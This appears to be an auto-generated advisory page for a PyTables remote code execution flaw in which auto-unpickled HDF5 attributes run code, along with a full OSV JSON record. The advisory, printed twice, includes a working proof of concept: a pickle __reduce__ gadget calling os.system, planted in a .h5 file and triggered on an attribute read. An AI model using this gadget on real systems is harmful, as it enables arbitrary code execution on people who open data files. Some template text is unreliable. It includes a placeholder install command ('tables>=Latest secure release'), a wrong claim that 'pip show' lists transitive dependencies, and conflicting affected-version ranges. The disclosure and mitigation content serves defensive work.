CVE-2026-134019: PyTables Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-3r7g-mq96-7hhc
CVSS 9.8
CWE-502
Published
Advisory Summary

CVE-2026-134019 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-502: Deserialization of Untrusted Data) affecting PyTables libraries in the PyPI ecosystem. The issue involves remote code execution via auto-unpickled hdf5 attributes. Remediation is available in the latest vendor maintenance releases.

CVE-2026-134019 at a Glance

CVE Identifier CVE-2026-134019
GHSA Identifier GHSA-3r7g-mq96-7hhc
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-502: Deserialization of Untrusted Data
Affected Product PyTables
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-134019

To remediate this vulnerability, upgrade all affected PyTables dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

tables fixed: Latest secure release
pip install tables>=Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show tables

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-134019, inspect your installed packages using pip:

pip show tables

Analyze the terminal output to locate any version of PyTables in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The pip show tables command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In PyTables, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary PyTables stores non-primitive Python objects as pickled HDF5 attributes and, on read, auto-unpickles them using a heuristic (a `numpy.bytes_` scalar whose value ends in `b'.'` is treated as a pickle) with no allowlist and no safe unpickler. As a result, merely opening a malicious `.h5` file and reading a metadata attribute can execute attacker-controlled code. HDF5 is widely perceived as a safe, code-free data format (like `.npy` / Parquet), so consumers do not expect that reading metadata runs code. ### Affected `tables` (PyTables) `<= 3.12`. `pandas.read_hdf()` builds on PyTables and reads node attributes, widening reach. v3.12 keeps automatic unpickling enabled by default for compatibility; see the workaround below. ### Root cause (`tables/attributeset.py`) - `maybe_pickled` heuristic (~lines 326-330): any `np.bytes_` attribute ending in `b'.'` is assumed to be a pickle. - `pickle.loads(value)` at ~lines 345 / 358 / 361 / 374 / 377, reached from `AttributeSet.__getattr__` (~308) and `AttributeSet.__getitem__` (~592). Until v3.12 there was no opt-out. v3.12 adds `allow_pickle=False` / `ALLOW_PICKLE = False`, but automatic unpickling remains enabled by default. ### Proof of Concept (verified on `tables==3.11.1`, Python 3.12) `attacker.py` (crafts the file; executes nothing): ```python import sys, os, tables class Exploit: def __reduce__(self): return (os.system, ("touch " + sys.argv[1],)) f = tables.open_file("malicious.h5", mode="w") f.root._v_attrs.description = Exploit() # pickled into an HDF5 attribute f.close() ``` `victim.py` (stock PyTables; opens the untrusted file and reads one attribute): ```python import tables f = tables.open_file("malicious.h5", mode="r") desc = f.root._v_attrs.description # triggers pickle.loads() f.close() ``` Run: ```bash python3 attacker.py "$PWD/SENTINEL" # no SENTINEL yet python3 victim.py # SENTINEL created => code execution ``` Observed: after crafting, no sentinel; after the victim reads one attribute, the sentinel file is created. `pip-audit` on 3.11.1 reported no known vulnerabilities. The stored pickle references `posix.system` (`os.system`), so the payload is portable and needs none of the attacker's classes on the victim side. Attachments: - [pytables_attacker.py](https://github.com/user-attachments/files/30632202/pytables_attacker.py) - [pytables_victim.py](https://github.com/user-attachments/files/30632204/pytables_victim.py) ### Impact Opening or reading an untrusted `.h5` file (a routine operation, for example in data pipelines, ML services, notebooks, or via `pandas.read_hdf`) results in arbitrary code execution. ### Workaround / Mitigation (v3.12) v3.12 still unpickles automatically by default. For untrusted files, disable it per file: ```python import tables with tables.open_file("untrusted.h5", allow_pickle=False) as h5file: ... ``` or globally for newly opened files: ```python import tables tables.parameters.ALLOW_PICKLE = False ``` The same per-file option can be passed through pandas as `pandas.read_hdf(..., allow_pickle=False)` or `pandas.HDFStore(..., allow_pickle=False)`. `ptdump` keeps unpickling disabled unless `--allow-pickle` is given. ### Prior art / precedent This mirrors numpy CVE-2019-6446 (silent pickle-on-`np.load` was accepted as a vulnerability; numpy switched `allow_pickle` to default `False`). The trigger here is very broad (any byte attribute ending in `'.'`), and attributes are ubiquitous metadata. ### Suggested fix v3.12 adds an explicit per-file and global opt-out (`allow_pickle=False` / `ALLOW_PICKLE = False`) and a warning when serializing pickle data. Automatic unpickling remains enabled by default for compatibility, and is expected to be disabled by default in v3.13.

CVE-2026-134019 Affected PyTables Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
tables
PyPI
≤ 3.11.1

References

Frequently Asked Questions

What is CVE-2026-134019?
CVE-2026-134019 is a security vulnerability in PyTables involving Remote code execution via auto-unpickled HDF5 attributes under CWE-502: Deserialization of Untrusted Data.
Which PyTables versions are affected?
Affected versions include releases prior to current release patches across affected packages: tables.
What version fixes CVE-2026-134019?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is tables affected?
Yes, tables is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-134019?
CVE-2026-134019 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-134019?
CVE-2026-134019 is classified under CWE-502: Deserialization of Untrusted Data (The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.).
How can I check PyPI dependencies for CVE-2026-134019?
Run the dependency tree command: 'pip show tables'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3r7g-mq96-7hhc",
  "modified" : "2026-11-30T21:47:58Z",
  "published" : "2026-11-30T21:47:58Z",
  "aliases" : [ "CVE-2026-134019" ],
  "summary" : "PyTables: Remote code execution via auto-unpickled HDF5 attributes",
  "details" : "### Summary\nPyTables stores non-primitive Python objects as pickled HDF5 attributes and, on read, auto-unpickles them using a heuristic (a `numpy.bytes_` scalar whose value ends in `b'.'` is treated as a pickle) with no allowlist and no safe unpickler. As a result, merely opening a malicious `.h5` file and reading a metadata attribute can execute attacker-controlled code. HDF5 is widely perceived as a safe, code-free data format (like `.npy` / Parquet), so consumers do not expect that reading metadata runs code.\n\n### Affected\n`tables` (PyTables) `<= 3.12`. `pandas.read_hdf()` builds on PyTables and reads node attributes, widening reach. v3.12 keeps automatic unpickling enabled by default for compatibility; see the workaround below.\n\n### Root cause (`tables/attributeset.py`)\n- `maybe_pickled` heuristic (~lines 326-330): any `np.bytes_` attribute ending in `b'.'` is assumed\n  to be a pickle.\n- `pickle.loads(value)` at ~lines 345 / 358 / 361 / 374 / 377, reached from\n  `AttributeSet.__getattr__` (~308) and `AttributeSet.__getitem__` (~592).\n\nUntil v3.12 there was no opt-out. v3.12 adds `allow_pickle=False` / `ALLOW_PICKLE = False`, but automatic unpickling remains enabled by default.\n\n### Proof of Concept (verified on `tables==3.11.1`, Python 3.12)\n\n`attacker.py` (crafts the file; executes nothing):\n\n```python\nimport sys, os, tables\n\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, (\"touch \" + sys.argv[1],))\n\nf = tables.open_file(\"malicious.h5\", mode=\"w\")\nf.root._v_attrs.description = Exploit()  # pickled into an HDF5 attribute\nf.close()\n```\n\n`victim.py` (stock PyTables; opens the untrusted file and reads one attribute):\n\n```python\nimport tables\n\nf = tables.open_file(\"malicious.h5\", mode=\"r\")\ndesc = f.root._v_attrs.description  # triggers pickle.loads()\nf.close()\n```\n\nRun:\n\n```bash\npython3 attacker.py \"$PWD/SENTINEL\"   # no SENTINEL yet\npython3 victim.py                     # SENTINEL created => code execution\n```\n\nObserved: after crafting, no sentinel; after the victim reads one attribute, the sentinel file is created. `pip-audit` on 3.11.1 reported no known vulnerabilities. The stored pickle references `posix.system` (`os.system`), so the payload is portable and needs none of the attacker's classes on the victim side.\n\nAttachments:\n\n- [pytables_attacker.py](https://github.com/user-attachments/files/30632202/pytables_attacker.py)\n- [pytables_victim.py](https://github.com/user-attachments/files/30632204/pytables_victim.py)\n\n### Impact\nOpening or reading an untrusted `.h5` file (a routine operation, for example in data pipelines, ML services, notebooks, or via `pandas.read_hdf`) results in arbitrary code execution.\n\n### Workaround / Mitigation (v3.12)\nv3.12 still unpickles automatically by default. For untrusted files, disable it per file:\n\n```python\nimport tables\n\nwith tables.open_file(\"untrusted.h5\", allow_pickle=False) as h5file:\n    ...\n```\n\nor globally for newly opened files:\n\n```python\nimport tables\n\ntables.parameters.ALLOW_PICKLE = False\n```\n\nThe same per-file option can be passed through pandas as `pandas.read_hdf(..., allow_pickle=False)` or `pandas.HDFStore(..., allow_pickle=False)`.\n\n`ptdump` keeps unpickling disabled unless `--allow-pickle` is given.\n\n### Prior art / precedent\nThis mirrors numpy CVE-2019-6446 (silent pickle-on-`np.load` was accepted as a vulnerability; numpy switched `allow_pickle` to default `False`). The trigger here is very broad (any byte attribute ending in `'.'`), and attributes are ubiquitous metadata.\n\n### Suggested fix\nv3.12 adds an explicit per-file and global opt-out (`allow_pickle=False` / `ALLOW_PICKLE = False`) and a warning when serializing pickle data. Automatic unpickling remains enabled by default for compatibility, and is expected to be disabled by default in v3.13.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "tables"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.11.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/PyTables/PyTables/security/advisories/GHSA-3r7g-mq96-7hhc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-134019"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PyTables/PyTables/commit/8ae7154191676c2ab12ba36450972d0be77efde3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/PyTables/PyTables"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PyTables/PyTables/blob/967fb5120dffd7768bf7f3fec14b04f169335ec5/RELEASE_NOTES.rst#L156-L178"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-30T21:47:58Z",
    "nvd_published_at" : "2026-11-24T17:18:16Z"
  }
}